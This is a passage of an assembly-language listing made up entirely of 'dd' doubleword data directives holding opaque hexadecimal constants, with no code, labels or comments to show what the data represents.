		dd 0A08901E8h, 0A9AF80ADh, 3FEE7424h, 0C70A2679h, 380F6F4h
		dd 80F7238h, 0C8E4A8E8h, 4C7AFB1Fh, 0E6ED0780h,	0E054A97Ch
		dd 82EC9Bh, 7519DC35h, 0CEBE9874h, 0CBD8BA01h, 5B4E460Ah
		dd 1F961180h, 2A60F9ECh, 56949E01h, 3CDD9B2Ch, 0C0A8870h
		dd 0E4803BEDh, 0DB0066A0h, 2B85345h, 4B7A0D3h, 0E7048382h
		dd 0D557C04Eh, 3100A4DAh, 0FB4FE06Bh, 8DF00Eh, 4A155F8Eh
		dd 0D8DD6D71h, 790087EAh, 2A806A3Dh, 4B81890Eh,	4040B529h
		dd 957A9644h, 861C94B0h, 0FE7F624Eh, 89209801h,	2C273DB0h
		dd 216C003Ah, 0D87F2BA3h, 9C95FF01h, 0D6D2E014h, 0B790C34h
		dd 0F2DA099Eh, 0F4B19C80h, 7D00D1C1h, 517960Dh,	0B069EB45h
		dd 4FA91EDCh, 5481004Bh, 1FBE5329h, 209BB300h, 43A6CDDFh
		dd 0E38B255Dh, 3E7C51h,	3C164037h, 94C49Dh, 0FED3E7F9h
		dd 4C773AD8h, 0AA7D8700h, 0D7F7A1AEh, 0E9E0017h, 0CF718FC0h
		dd 0C001FDCh, 61F2466Fh, 0DF7282h, 60DA049Dh, 4210E50Dh
		dd 96941200h, 3B58093Ch, 86F630DBh, 45A40D29h, 3978C102h
		dd 405B7AF0h, 25693C19h, 8A0A67Fh, 0CFDDFE5Ah, 725280h
		dd 9A362EAAh, 9948BED1h, 0A1D18B6h, 0B176A1Dh, 8A5C800h
		dd 29AB137h, 9EB53322h,	7B43DB1Ah, 3B1DE6D8h, 21D01904h
		dd 0B0B8F153h, 6DD1F200h, 969AED57h, 0BF541312h, 0CBC0880Eh
		dd 2AE8F893h, 7DC8514Fh, 8EDB1D06h, 32F0698h, 781319C4h
		dd 7442B066h, 5FF6DD05h, 8AB77400h, 0BD274E0Ah,	1E404064h
		dd 0CC0301F8h, 0C2E9EFD0h, 56DBFC26h, 72505312h, 0BA126CBCh
		dd 48BCA82Ch, 0CBE00B48h, 52F4E03Ch, 96E300EEh,	8CCDEC4Ch
		dd 6E1DE735h, 88003B25h, 6FE53D27h, 0FE543070h,	0F9AF4D70h
		dd 23F73313h, 389CDC07h, 0AE509D0h, 889F5DA8h, 87E16209h
		dd 0BBD5D820h, 230B33D1h, 0A0210835h, 18E071D0h, 0DD03D57h
		dd 6BBF49Ch, 0C1CCD9FFh, 76306C04h, 0DA045F92h,	9C53BA89h
		dd 9AB4A0h, 0B032C594h,	0AA38C38Eh, 2EAD8C03h, 0C8CE8A97h
		dd 0E88799h, 0CF859BC5h, 0D69EB68Eh, 4FAB9501h,	24575559h
		dd 0D8FCC080h, 9AC4F05Eh, 0AEC32A00h, 0A09E22A7h, 53C4A026h
		dd 18A79B1h, 5B3F9BD4h,	40372DC8h, 0A9D1BBCh, 0ECC9E302h
		dd 1E5A82Eh, 0E1617C3Dh, 0F6760060h, 7A6D014Ch,	816C63F7h
		dd 8671F4EEh, 1F5B0400h, 2130FE8Ch, 2BF30F8Ah, 4302E9C2h
		dd 7842EBC4h, 0AA2C2675h, 151C0C10h, 60B999A9h,	0E60A842Dh
		dd 0D90B07B0h, 0C92421D1h, 0CA619810h, 17561E01h, 5DEFC83Fh
		dd 9A12342Dh, 2D710B9Dh, 42DF8480h, 0CD0777AEh,	4F1C6E5h
		dd 0B3194A20h, 84BE5072h, 3C8B2708h, 0EFD838C8h, 0DB00E1E2h
		dd 8E8AE705h, 0A0BDAF69h, 0B8C7B5C7h, 97531190h, 3E3C0B92h
		dd 3AAB0577h, 0FD554890h, 707A0375h, 0FF4BF1FCh, 64C43100h
		dd 0D51A11E2h, 0A5170E9Bh, 6A2494BCh, 809BC0BAh, 3E006C76h
		dd 91092503h, 66B2C8h, 0F1D3717Fh, 0F4D0774Dh, 5A5E5000h
		dd 0C6758B1Eh, 0DED500A6h, 15D7E5F3h, 9A3ABAD9h, 0D25F073Bh
		dd 1C91ED0Eh, 0FEEA9CCCh, 0B0031600h, 0A19F0100h, 0F55E82D4h
		dd 187288C4h, 850F1D1h,	770529EDh, 69812632h, 6D0308ACh
		dd 844E0B2Bh, 0B35512D8h, 2F58DA0Bh, 0A49C81C9h, 686DDB3Ch
		dd 0D81A4980h, 0B60FF3E9h, 57C23B4Ah, 0A14838C0h, 90BD270Ch
		dd 674BB4C0h, 10594Dh
		dd 95D3EB0Eh, 0B0473A16h, 8FF70280h, 93C19068h,	14F4E8C0h
		dd 0D8B83D0Eh, 0A191676Fh, 94B13FA0h, 2BBF0529h, 0E89B9C0Eh
		dd 0B2501DF4h, 10A2284Bh, 5C25F9BCh, 3C0000C1h,	1549E2EAh
		dd 0CA00FBEDh, 50EB4CF3h, 0F28797Eh, 9101E948h,	0F5AF0D01h
		dd 0E0056F2Bh, 74803A26h, 72F09EBh, 4B395A58h, 1C305063h
		dd 0E800F8DDh, 3E458755h, 3D08928Bh, 94E0CA01h,	7846F4F1h
		dd 200B0B1h, 0AF26095Eh, 2DD80230h, 3FDEB365h, 0E7CDA498h
		dd 6B534C00h, 0FB549D60h, 0C02AEF47h, 0B4B5F760h, 8C69100h
		dd 81383759h, 76851C4Ah, 53E9039Fh, 278A931Fh, 0DE3AAC80h
		dd 69018BF5h, 0A2129ADCh, 24C44205h, 0B9450914h, 9C801AB1h
		dd 202187ACh, 1A0B348h,	2AD827D5h, 1089B743h, 40220584h
		dd 0D45230FAh, 972A020h, 75CB71B9h, 548A0F01h, 0E8012EDFh
		dd 0A091AD6Ch, 5138413Fh, 0FC0FE730h, 0E800F7A5h, 7669585Ch
		dd 48329493h, 75009DF6h, 6DF9EECCh, 0A800B7E4h,	46DFF07Bh
		dd 95A392C6h, 0AA4B2040h, 0D1F2D4BAh, 0AC587100h, 0F27D6EC8h
		dd 796A18CCh, 935508FAh, 0EEC7CD00h, 0EACBDFA7h, 0E4E300ABh
		dd 0DBDEF4F3h, 909FD9Ah, 2355E053h, 0C0B24C68h,	54EBDC1Bh
		dd 3D47C848h, 0E72C7221h, 0FB3A02E8h, 0C8F123A9h, 2E1709h
		dd 36134558h, 0D8240029h, 381125C9h, 649DA46Bh,	0FDC214F8h
		dd 9000801Eh, 123D4804h, 101229DDh, 8C2AFFCh, 596640D7h
		dd 3F270708h, 5043826Ch, 183206DBh, 5C48C49h, 0D92D7FAAh
		dd 86EF4881h, 6D6C64h, 0FCC75872h, 90221940h, 6068A72Ch
		dd 2FAE5C00h, 1F9CFF3h,	830BBC0h, 2FA70BF6h, 20F4C6h, 8C158786h
		dd 417683A8h, 0C96E0A00h, 0E6D8E9C1h, 0C5B61C72h, 0A988C034h
		dd 83EC4445h, 2792400h,	2C198212h, 5CD938E3h, 0C01C9Dh
		dd 4BE5ACB9h, 0E5E574Eh, 1656D400h, 0F5A0D2Dh, 610C4417h
		dd 661141A0h, 0F0C73A24h, 6A93101Eh, 4962F813h,	6423051Fh
		dd 0F821314Bh, 4A22192Ch, 86AFB10h, 63801FFCh, 0FE5BA82Ah
		dd 5AA72AD4h, 0EB490F8Ch, 30C9FA05h, 0CC74D4C8h, 0A26BB4A8h
		dd 20E0A74Ah, 70D40B47h, 0E8830460h, 0C0F866F8h, 84098A89h
		dd 82CF4873h, 401809E0h, 1263BEACh, 0E062CDh, 0DE6D1990h
		dd 8426FD49h, 0D703141Dh, 0D8BFFF75h, 44A9D38h,	0C9F8182Ah
		dd 5E008045h, 83751DD0h, 44CAD740h, 0BA17B535h,	0F8E0CCABh
		dd 78EB0087h, 0F1AABEDCh, 7407DAE4h, 0C1DDCE97h, 0C74ABBB0h
		dd 1D500073h, 77E1F368h, 6003F23h, 0FBCFDD55h, 9EF1471Eh
		dd 0A8CD9368h, 88B98534h, 57FF4A80h, 0B91E419h,	87973D39h
		dd 0DA3E48C0h, 0C1C24C00h, 0E0A7076Dh, 18440C82h, 3CE06997h
		dd 0CD9EDC00h, 0D495D57Ah, 2A2400BEh, 1BE5621Dh, 5E4B1993h
		dd 1583F8B4h, 0C0AAAE81h, 944F426h, 0F4A818D9h,	80A41DFDh
		dd 0E4CC3FC6h, 4A01890Bh, 0D6FD2531h, 8230731Dh, 66AB1F08h
		dd 2A068D9h, 316B20ACh,	0D802C535h, 7D032242h, 8B00A872h
		dd 0E85F1301h, 4CB849AAh, 92075044h, 0B1054396h, 40F070EBh
		dd 3537BFC4h, 1774883Fh, 391F08ADh, 0D1633300h,	5BA32E7h
		dd 151E94A0h, 0AF80030h, 709A0C1Fh, 0B55A9F00h,	6AA40F78h
		dd 5457277Fh, 864F0040h, 4C005690h, 419C169h, 0B6A86Ch
		dd 28DAB9BDh, 0C59FD498h, 74B06B54h, 79EFF3Ch, 0F4EBDE8Fh
		dd 2AFDFA70h, 0F23FE88h, 99A48762h, 0F8D947A0h,	37F24933h
		dd 31BEB609h, 0FA8DEB9h, 0B7209DC7h, 5B9AAA90h,	7BED5309h
		dd 49002147h, 5660DAF0h, 9D92F046h, 0C0D00C65h,	207A7ECBh
		dd 0D5266010h, 13E5DE1h, 0D123EA65h, 0F1E024F7h, 0C6CA07FAh
		dd 8C5AE530h, 0E831AE99h, 0BFCD395Fh, 8700C33Ah, 7CA0BEA3h
		dd 2CA00EAEh, 1CA084E3h, 420E99C8h, 80F9C6CFh, 640FE9C9h
		dd 5425005Bh, 98AB0296h, 3801E13Ah, 0FF59E53Eh,	7EC057CEh
		dd 3EBFEA1Ch, 5E005A82h, 0E4265825h, 13004CAEh,	0E3A7DBD5h
		dd 2418AC7Eh, 24A3C54Dh, 0B5DD00DDh, 0F10B2112h, 4457E328h
		dd 7E8C5107h, 0CCB7C6C8h, 0F8BB4741h, 0F9B0C22Bh, 17B75038h
		dd 0C828C7Dh, 5219CF40h, 0C897A209h, 1EB05E01h,	4C0F6094h
		dd 0C33AD622h, 0C055588Fh, 447ED5h, 0F7549173h,	419DEC7Ah
		dd 749FD203h, 0F801E0CFh, 0ED8C914h, 372311E1h,	8640426Fh
		dd 4BD0B3F6h, 0FA5B7307h, 4EC03631h, 1B6029h, 784F6952h
		dd 3D327204h, 0DCF9840Ch, 0D64A0Eh, 4696027Bh, 1D567915h
		dd 522DB615h, 247000C8h, 0F85D4D26h, 0A0EE006Ch, 0CF0F1438h
		dd 4A064B17h, 0CDE63254h, 208602E9h, 0BCD7F322h, 38F072E2h
		dd 8113E4F9h, 4126CF00h, 0CB27F970h, 54500571h,	768B4A2h
		dd 8061D3B4h, 0EC8E6F95h, 0CE815360h, 21CB60h, 7A839225h
		dd 0C1F2C5EAh, 0DFC7C002h, 57FC03BEh, 3DBC68A0h, 0AE30A506h
		dd 0C9AF91D2h, 0A0301D6Bh, 0C5560E50h, 0B8EE2100h, 0DF5866E3h
		dd 40960677h, 716351h, 543950E6h, 8A342A5h, 0D3500F64h
		dd 156F8B40h, 0D10F1EE6h, 808A7FD6h, 55A33B1Dh,	89446716h
		dd 7EA2C161h, 0B8118013h, 0E1621188h, 0DB9C006Ch, 0E335B541h
		dd 9201D8F7h, 0CCE7AABAh, 62D0C4EAh, 0C74C3CC8h, 0D7AE7200h
		dd 0D5300EBBh, 971A560Ch, 304050D6h, 55B14B88h,	69C04215h
		dd 0B74B4F7h, 2BD40282h, 3CDD476Dh, 51277FE0h, 3963E609h
		dd 22640014h, 3018B403h, 0F8296058h, 211E7CBAh,	5C8F5AADh
		dd 2E7A41F5h, 2080DA2Bh, 656403A7h, 1B0ED6ADh, 9FFE4541h
		dd 23090FBBh, 6FF60E27h, 3C11C0B2h, 0E80E0C61h,	4308C089h
		dd 85716F5Ah, 3056B237h, 4B900F47h, 0E0EF0839h,	6B2D00D8h
		dd 651E9DBBh, 1A07DA6Dh, 0E51B7B45h, 108436h, 0D5AC674Dh
		dd 0F8D7F022h, 573BE606h, 902EADh, 844DCF49h, 0DD3FAB55h
		dd 0DE00DC7Dh, 4772A80Ah, 6F4880B2h, 0E100C818h, 8755D010h
		dd 1E4E3B00h, 2716D1C8h, 0CF19183Ch, 7113F11Dh,	96A54C00h
		dd 0A367245Ch, 0EFD802E8h, 522528ABh, 0C9064C62h, 0CE3030CDh
		dd 4661391Fh, 4BBF00B4h, 76EF8503h, 0A103690Ch,	0B155C327h
		dd 3728061Ah, 90DA9322h, 450377F0h, 0CF846460h,	0DB490020h
		dd 48261819h, 0FD099F38h, 221C77h, 568B6BFBh, 3F943FE7h
		dd 0B830F081h, 8068BA33h, 5C66C348h, 0F95E6Dh, 0EFC74D56h
		dd 2CF0D074h, 4A69903h,	0C0D516h, 5C3FDD78h, 0B3FB7DB2h
		dd 9AEBC502h, 0E0D5C7D3h, 77D2C61Eh, 72E80E83h,	0B300B2F9h
		dd 0AAF02314h, 3A7F2B06h, 49C6D4h, 95057370h, 0CCD0B274h
		dd 82E42F01h, 45482BB9h, 8B142420h, 0C4A013BAh,	0F6B3FD1Eh
		dd 0D37C3900h, 4E951D7Fh, 21766F48h, 73EC67C0h,	0E677A08Ch
		dd 98E9DE2Ah, 458ECD00h, 0E2FF0149h, 0A00E00BFh, 412934D3h
		dd 0B906EBE6h, 0DEB248FAh, 7D9831h, 0B5791EBBh,	19019382h
		dd 0DD9A130Fh, 0DE7041AEh, 53D07C22h, 492B0181h, 262590A5h
		dd 0D7DAD192h, 24018DF0h, 3B96BF3Eh, 191FFC1Ah,	260FC120h
		dd 61A28F73h, 0D6A01D61h, 285D1080h, 2D47C2Bh, 0C9566600h
		dd 886E7D50h, 912203D6h, 0C3496D8Bh, 0BB1D2BA8h, 7258D3Ch
		dd 19295B93h, 0BB8E5C77h, 8E300708h, 0C7246B5Dh, 72494093h
		dd 1F00DA8Ch, 2002C6C9h, 0AA7ADF8Fh, 77043D64h,	4AA825C1h
		dd 79881081h, 0D2AF2415h, 0C4A0C207h, 0C2E27B8h, 363FE24Dh
		dd 7D670608h, 0C4506B20h, 33D621Fh, 3AFA534h, 9BA0BBE1h
		dd 0AA002D5Ah, 0D5EFB53h, 0ADE08773h, 0B4346030h, 8B0010F2h
		dd 465C56B2h
		dd 22982D9h, 7F76E020h,	0E8BD61h, 0AE07F8DAh, 8654B5B4h
		dd 48F5B180h, 0C31080DDh, 79AB3300h, 2B3ACE7h, 495A00A6h
		dd 0D52D6721h, 2FF8E52Ah, 0C6E6908h, 111C8079h,	2DCFB7A1h
		dd 0FAC08118h, 0C0691E09h, 0A1393C20h, 9100ED5Bh, 20796102h
		dd 2F04D59h, 4C1FDE76h,	0B4A0E601h, 7B6E1BC5h, 6D080C1h
		dd 0A881B45Fh, 0A10526A4h, 7E2980E2h, 0C30AB5B9h, 6D150C6Ah
		dd 7608805Dh, 1D202460h, 78B5D1h, 0B017097Ah, 6D027BDCh
		dd 2AA658C5h, 40978C33h, 8C40BCC9h, 95C4E104h, 0C3633627h
		dd 0A002179h, 0D311BC4h, 22CAEAh, 2EA35FFEh, 0F0F6FCDAh
		dd 27E84C50h, 547ECB00h, 52153ABh, 2E20E829h, 45C8ACEAh
		dd 23A82F32h, 9324001Fh, 493321D7h, 0A034C51Ch,	0A8D8FC80h
		dd 60DC9A9Eh, 94BC70A9h, 6CA41779h, 0BE11C4FCh,	584FE27h
		dd 0E469007Dh, 0DAC7C4h, 241D0708h, 4442CE4Bh, 0A07CD328h
		dd 8C86B224h, 1C477892h, 61CC9670h, 0D6D30029h,	7B53B4CAh
		dd 8305589Eh, 52F0D06Fh, 0D3318801h, 20878E6Eh,	20927C1Ah
		dd 518FB06Fh, 28BB2D80h, 7F987A36h, 38AE4870h, 327CDF06h
		dd 60A0807Eh, 0DD80B260h, 284E155Eh, 0A41DFC5Ch, 6AD50621h
		dd 0BE0520ACh, 0BAF2D088h, 623843Ah, 0B3B2A900h, 748E6BBh
		dd 9CED45F7h, 0A055A603h, 80E9992Ah, 0FCE42F07h, 6510E36Eh
		dd 0C8A4F0Dh, 0BFF59A9Ch, 4B540771h, 98F4C2F0h,	75FDE400h
		dd 9A033BF7h, 375B004Fh, 0F0E582A7h, 0E0016FFCh, 2BC46972h
		dd 0F8A0B41Fh, 0EB72484h, 0A1106014h, 0F521D286h, 720917Fh
		dd 0EBA1180Fh, 3E090360h, 52BE07FBh, 3C35B7DCh,	0BDEE1AB8h
		dd 0E884B22Ah, 0EDBB5000h, 0E2B7FAE0h, 94014976h, 43214A30h
		dd 3598EF72h, 5B0E8F00h, 0CFA023E9h, 0CD9201D6h, 43C58651h
		dd 0DAB424A3h, 0E200847Ch, 7496FA16h, 5E08867h,	2E9AEE8Ch
		dd 0A99C0023h, 0D76F3F52h, 4F4A4800h, 801D3C8Dh, 0E4D901D2h
		dd 156EE26Ah, 0FAE4404Dh, 61749890h, 34EDBC00h,	36BD6676h
		dd 0A18560AFh, 3CCDA906h, 4C5F78B5h, 230087FCh,	0BA2C4076h
		dd 29C053AFh, 0D4A66929h, 8645008Dh, 611ED0ABh,	2400E890h
		dd 77261D76h, 2A806AB3h, 2AB8B65Ch, 2ACFAB1h, 36940A7Ch
		dd 5C660549h, 4F433311h, 0B1B42903h, 310287D3h,	1FA8F6F9h
		dd 86704988h, 1C408025h, 9982662Ch, 1C63B04h, 0CFC5A10Bh
		dd 1D0C803Dh, 7133A88h,	9B4C78A1h, 618B5037h, 0F9F06FF0h
		dd 7B4CE550h, 485F220h,	1566FCD9h, 0DAB4834Fh, 8C8E398Ah
		dd 956080A4h, 555408A0h, 2D933D80h, 35EF9B9h, 0B149A186h
		dd 0A100A925h, 0CD5C3E48h, 10E996h, 11DB1B1Eh, 8015C2C3h
		dd 29B75D30h, 4C7F982h,	9ACEBF90h, 6984D264h, 3065D861h
		dd 48C06ECh, 0C30FB86Eh, 207A6272h, 0F7B5C620h,	0A553E600h
		dd 0CC34937Dh, 27BB05F6h, 8033569Bh, 25C610A8h,	5D7BC300h
		dd 0B93F8C01h, 22D70ECCh, 0F620A6BCh, 0AFD976BAh, 7B82CD05h
		dd 6C004680h, 216D2B4h,	0AD7F8Fh, 45EA98D4h, 6DCF9F94h
		dd 79928209h, 0DB24B016h, 27BF11C4h, 0A8FB8A26h, 0C4E36C80h
		dd 49AF2C30h, 4400087Ah, 0C3AB31ADh, 0A82C9263h, 2C3DB017h
		dd 0D90E0C35h, 10ACFD09h, 5EFAD540h, 0DC475059h, 0C079059Fh
		dd 604126CBh, 0EB8859Ch, 88AC323h, 21002331h, 9FC4B5BDh
		dd 44780124h, 6930CC81h, 238266Dh, 0D284A10Ah, 80633145h
		dd 0A1123521h, 18BE3043h, 1951412Eh, 0DA61F947h, 4E093589h
		dd 18E51980h, 64F0191Ah, 8C3E8E24h, 0C0845400h,	63F4597Eh
		dd 0D1B37417h, 40E6DEC2h, 33606F21h, 0C2F70F06h, 9CC2772Bh
		dd 21648447h, 35368F60h, 7D5D461Fh, 9794950Bh, 7CFA88B4h
		dd 0E70CB360h, 294F0EA3h, 0E92B2CBh, 5ECCFB68h,	0A8AC7198h
		dd 66A10E26h, 8CEE251Ch, 163158h, 3B5CE8A1h, 4CB47460h
		dd 2515F500h, 30030C09h, 14B701ACh, 0ED695ADBh,	9420341Dh
		dd 0E89C5548h, 0BEC8C77h, 9AE41F0Ch, 6F39E7h, 30159D13h
		dd 0DC1B9FF2h, 8008BC59h, 0FAD7EDB8h, 4600878Fh, 6DEAEDB6h
		dd 21770002h, 0E6C152A3h, 8CA06582h, 0E0305801h, 7F4CF116h
		dd 77BD2E67h, 5EC8A6B8h, 71867CEEh, 12C617ACh, 7F7003E0h
		dd 410FA8C5h, 3B6AE327h, 6CD08478h, 8023449Ah, 0CD00B38Fh
		dd 0B80F96E0h, 6212F1h,	0E4332435h, 844D80D7h, 9E0BE303h
		dd 98E217C0h, 0D11E09Fh, 907742Ch, 94802050h, 7DB2BE15h
		dd 0DC7E0180h, 41672912h, 6E23A640h, 0A49B1CB6h, 0F03F809Dh
		dd 0CA03DD1h, 6AB1BB16h, 0C7B07C37h, 0C49CD2h, 507825EEh
		dd 0F088937Fh, 0B1D4816h, 0E8D03014h, 694321h, 2473CC06h
		dd 4AECFE3h, 864FFA70h,	6108826Bh, 54441C47h, 1C766660h
		dd 0B035A802h, 0A079B217h, 0FE6D3A80h, 5D3B0090h, 4756085h
		dd 170A4CC6h, 0C47C6C4Bh, 65F32740h, 2D210252h,	300449B0h
		dd 0B32584A3h, 3F35E10Eh, 0AFC05F3Ah, 92880ED1h, 0DD540158h
		dd 0BEBBA1C3h, 0F5C230Ah, 0A04C12D0h, 76C54DF3h, 873F00BDh
		dd 436CC226h, 84E0995Ah, 9F009890h, 0E44906CBh,	4C2F8650h
		dd 0AD865035h, 4300C988h, 0C5DAEB2Bh, 3D7D144Bh, 9713C4C0h
		dd 0E3440361h, 7903E89Ah, 0B12F99A2h, 13C3A88Bh, 59F7746h
		dd 25AF17EDh, 1210924Dh, 0B0C4DF30h, 6C064950h,	8087F888h
		dd 0A400C407h, 16DF0E6Fh, 409FE90h, 0B488765Eh,	0C2405784h
		dd 2C7490BDh, 1774312Ah, 2D402099h, 954ACA91h, 0FE0F82FCh
		dd 80742496h, 46803C5Ch, 21DD49C6h, 634D1600h, 9E027AFAh
		dd 6E06002Dh, 0C9DE118Bh, 10932326h, 0CB5C700h,	8616BAC3h
		dd 0CCE03255h, 0ACA9B5BFh, 0CD4D1054h, 0B0AB609Ah, 0C203C7BEh
		dd 7F14FCB2h, 81F8AA6Bh, 585B2291h, 0C410F071h,	492A2F80h
		dd 0CD00689Bh, 51CE3CB6h, 4CB9AE86h, 181CAB80h,	0C61B548h
		dd 7CB27693h, 0D93DE241h, 0EA4813h, 0A9EECA1h, 145AC53Fh
		dd 8817DCF9h, 25C03528h, 0F8979286h, 607CF808h,	51FDCD88h
		dd 9006187Dh, 1E2FB15Ah, 9720658h, 51AD2313h, 0F515B902h
		dd 0E147F7ACh, 4980FF9Ch, 0A6AD512Fh, 5C1DB755h, 2D008AD6h
		dd 80798E77h, 881605F6h, 0D1BEB9D1h, 80500938h,	1985E9F9h
		dd 5CB89555h, 0D2C11868h, 40AA08AEh, 794FDFB8h,	0BC228326h
		dd 658C6A01h, 24208202h, 5C713EF0h, 0DD70758Bh,	7DA6DC0Fh
		dd 0B096B0ABh, 2332215Eh, 33C48A81h, 6084532Fh,	0E08CAECEh
		dd 2BE6DAD8h, 215C6C9Ch, 0E0817045h, 0D38CB577h, 0A32FFC40h
		dd 66D8854h, 242C7F49h,	24581C5Dh, 84DC8082h, 0DCE9693Fh
		dd 0DADB1F98h, 0A7A0F90Bh, 398032A0h, 4BF9672h,	6AB6FFB4h
		dd 0DB398027h, 7604BB11h, 926C22D9h, 0ACB008F6h, 37008635h
		dd 9F8D033h, 3B525BA9h,	0C4CCE6CDh, 8330DFA2h, 5680B8B8h
		dd 7B10B85Ah, 0BB270024h, 99B3C8B5h, 8DC40EE7h,	2D046F9Eh
		dd 4768C82Ah, 0FC44FA4Ah, 20A4412Fh, 6680190Ch,	6172A9B2h
		dd 84483568h, 0F9E18408h, 5584FC8Eh, 0CB0F3024h, 44E502EDh
		dd 7BAF9FCDh, 0AAB7C8A0h, 70008690h, 14BF5AEEh,	144DC680h
		dd 0E0C48B05h, 4F9FB602h, 44D016CDh, 0D6686948h, 0C070A408h
		dd 0D281A10Fh, 46301D46h, 0A1173621h, 890B583Eh, 833966h
		dd 98521C8h, 8E1B27E1h,	0FA4C4803h, 0C004E1E6h,	0E1216035h
		dd 602630E1h, 0C6CECD0Ch, 0B118AEA9h, 99D957CFh, 1C41C3ECh
		dd 1E908BD5h, 0C9003FE4h, 852B4420h, 2662F659h,	114CC0ACh
		dd 93EE1E54h, 0CA690F80h
		dd 1C1BD103h, 0ECB0C2h,	0A8176332h, 0C65C0AC4h,	0CF23C0h
		dd 0FAE2ED95h, 4486E027h, 2C004149h, 458FF1EFh,	90C1556Ch
		dd 874320C8h, 171BF027h, 805511F0h, 9DBBF278h, 0E8062E03h
		dd 29780B4h, 622D09DBh,	6980B813h, 0DA82E420h, 65670522h
		dd 0B3E763D2h, 301DA210h, 0B80073AEh, 47B05D3h,	126F30A3h
		dd 4FF7AFDh, 8815099Ch,	31386174h, 0D1B3008Bh, 0F5FA80FDh
		dd 78CC497Fh, 74CB202h,	6C64C00Eh, 0BC020C46h, 82C311B5h
		dd 1E00B447h, 79C5B874h, 0E1643FD7h, 0FAD46801h, 325020F6h
		dd 0BC9A2C20h, 0DFD04E47h, 17E4AE48h, 20241077h, 0C1192568h
		dd 0E1E83Eh, 49FA69EFh,	0F7D05B51h, 283CBFDDh, 3C8421C9h
		dd 0FD18F4B2h, 29C4EC13h, 4C8F7F02h, 4347903h, 5088FF2Bh
		dd 49C804A4h, 0CCD043F0h, 2DCB35BEh, 8BE7BAh, 0D8826096h
		dd 80EA48E9h, 1A90FF59h, 0A24AD2h, 9CD5850Fh, 27940B3Eh
		dd 0A4647628h, 82010A46h, 0D2C30BB8h, 0A0383816h, 0B5BA1Ch
		dd 0D3351374h, 53B2199Ch, 2B4FF0C4h, 63C8F08Bh,	568EA5C0h
		dd 7F9F04DAh, 0E48C9AFBh, 0B62DCF64h, 0B088210h, 0E2DC6596h
		dd 65187CFEh, 16D31729h, 0E54027Bh, 387234DDh, 0DCAEF809h
		dd 0DE440392h, 9EB3A05Bh, 0C5031830h, 476FD85Fh, 2EBBA0Bh
		dd 0B9058C58h, 2DF7144Ch, 0A80D473h, 3A175EFEh,	18507B4Dh
		dd 0D7302284h, 0CC031D68h, 62697206h, 746D3F40h, 4526AB00h
		dd 0DFBA9C95h, 0D723008Eh, 7EBDDB5Ch, 750005B3h, 645292D0h
		dd 3098C68h, 0A6FBB79Eh, 30A7B035h, 0AB264D1Ah,	92300A03h
		dd 0C0525F15h, 109814Fh, 12DF5B27h, 0EDF1DE3Dh,	68ECF89Ch
		dd 5D6E9403h, 0E9F37886h, 0A770FC8Ah, 9C794CB5h, 190BB700h
		dd 0B880E1F4h, 6D942D05h, 54B42CDFh, 1D0E5EB2h,	41A63F0Ch
		dd 57540ACh, 0E0D4FDD7h, 4355E828h, 0E2F80724h,	0A2704CFFh
		dd 4856BBD4h, 0BC5174E9h, 0FAE808h, 9734CB8Ch, 7494AFB1h
		dd 4321660Bh, 0ADB58014h, 0B99A919Fh, 1DF10764h, 6F758055h
		dd 0D13D4E01h, 0EC9080F2h, 0AC1394DBh, 0C2E3E7Bh, 0FC8B103Ch
		dd 3021F95Eh, 38760327h, 3D911374h, 0F6808C7h, 180C6183h
		dd 0E0B90728h, 479B8E07h, 8B7F5110h, 2E2B4FE6h,	1E2364h
		dd 82C853D9h, 3C01FEA3h, 7F62AA01h, 0B15C15Dh, 4CC89A91h
		dd 2D2D7BC3h, 0E14AC049h, 0FA91012Ah, 7953C79Ch, 0D41FD575h
		dd 0D059DC1Ah, 0ED948014h, 436FFADBh, 35622E0h,	4DEF7342h
		dd 0F8104651h, 0D9848A82h, 79891C70h, 0D0C43313h, 0ED27BAC4h
		dd 6DB03C7Ch, 9203C408h, 0EB519813h, 22F3F17Ch,	3100CC69h
		dd 0ED7DDF07h, 3E165929h, 0F80BA358h, 4E2CE32Dh, 3C382CD0h
		dd 2B4A7542h, 7D0510CCh, 1CF0C9C3h, 23FC00CDh, 3386AE7Eh
		dd 0CA9AAB02h, 61BC6FCDh, 0D1107FDCh, 0FB0FD592h, 0F5A6CCh
		dd 0AF60989Ah, 346304BDh, 0D9736930h, 0BA4D307Ch, 8015CF17h
		dd 1300E08Ah, 4046A114h, 590E8432h, 0A0588D2Ah,	79AFC33h
		dd 1749CE82h, 0B1C9E200h, 92070FC1h, 0F3D0A5D3h, 0CEED0CC0h
		dd 237600B0h, 0A2023008h, 0A253AB5h, 8484A0BBh,	2CEDAF4Ch
		dd 32184A1Eh, 10F80210h, 0BD702Ch, 8A63C585h, 9CCE70E0h
		dd 81DA44A8h, 3CCBC0A4h, 8C7BB82Ch, 80AC093Eh, 217571D3h
		dd 24CEF972h, 1201C2Ch,	824D35ADh, 83B42029h, 0FA1FF980h
		dd 0D194B91Eh, 1401856h, 0D086B0CCh, 60AF6EFEh,	65186B18h
		dd 0DAD85A02h, 0F56024C7h, 8F228128h, 316FAF06h, 704984FCh
		dd 0E0A928A7h, 7D5A7922h, 3AF4430h, 0F053413Eh,	0CA0B663h
		dd 1F35ABBh, 4C72CA21h,	1B3079F2h, 0AB03A8Ah, 51D10984h
		dd 0CEFC8187h, 99719612h, 25F03097h, 3C30Eh, 8751182h
		dd 4E7401B5h, 12A8793Eh, 3CB22345h, 9D3021F2h, 72E7A6Bh
		dd 9F80D527h, 8C8A19DAh, 3853C9FCh, 0ACED50h, 4299C0AFh
		dd 3562FC66h, 50507320h, 4372F80Fh, 0EDB602B1h,	311FFADDh
		dd 301258h, 0C5D2E0Ah, 8B0FF7Dh, 256D870Ch, 0EEA699B5h
		dd 0A85002B7h, 0A3195796h, 91D4AC0h, 0CBC27912h, 5488D0CBh
		dd 0DC7230C0h, 20691D11h, 0AF0584DBh, 0B03480B1h, 0BA5DD327h
		dd 6CDD2630h, 9420EF60h, 1A410221h, 0F7B848DAh,	28E000C1h
		dd 0BF96C468h, 4C3F24h,	9AB8F4E4h, 88FC040h, 0AD58B6D2h
		dd 5307AE04h, 9FF90090h, 0DB5B1FC4h, 0CABF452Ah, 49E08239h
		dd 0F0B4AD24h, 92BE00EDh, 0D983AC59h, 9960B411h, 0CA5ECE58h
		dd 41749C51h, 2A6333C5h, 9A094004h, 360A0B4h, 4AA3997Ah
		dd 0E1C8FA07h, 9F012423h, 0C259DB02h, 3C28293Ah, 13486B4Fh
		dd 288866F3h, 0D6CD097Ah, 90E05010h, 0F91282D5h, 0F4034A38h
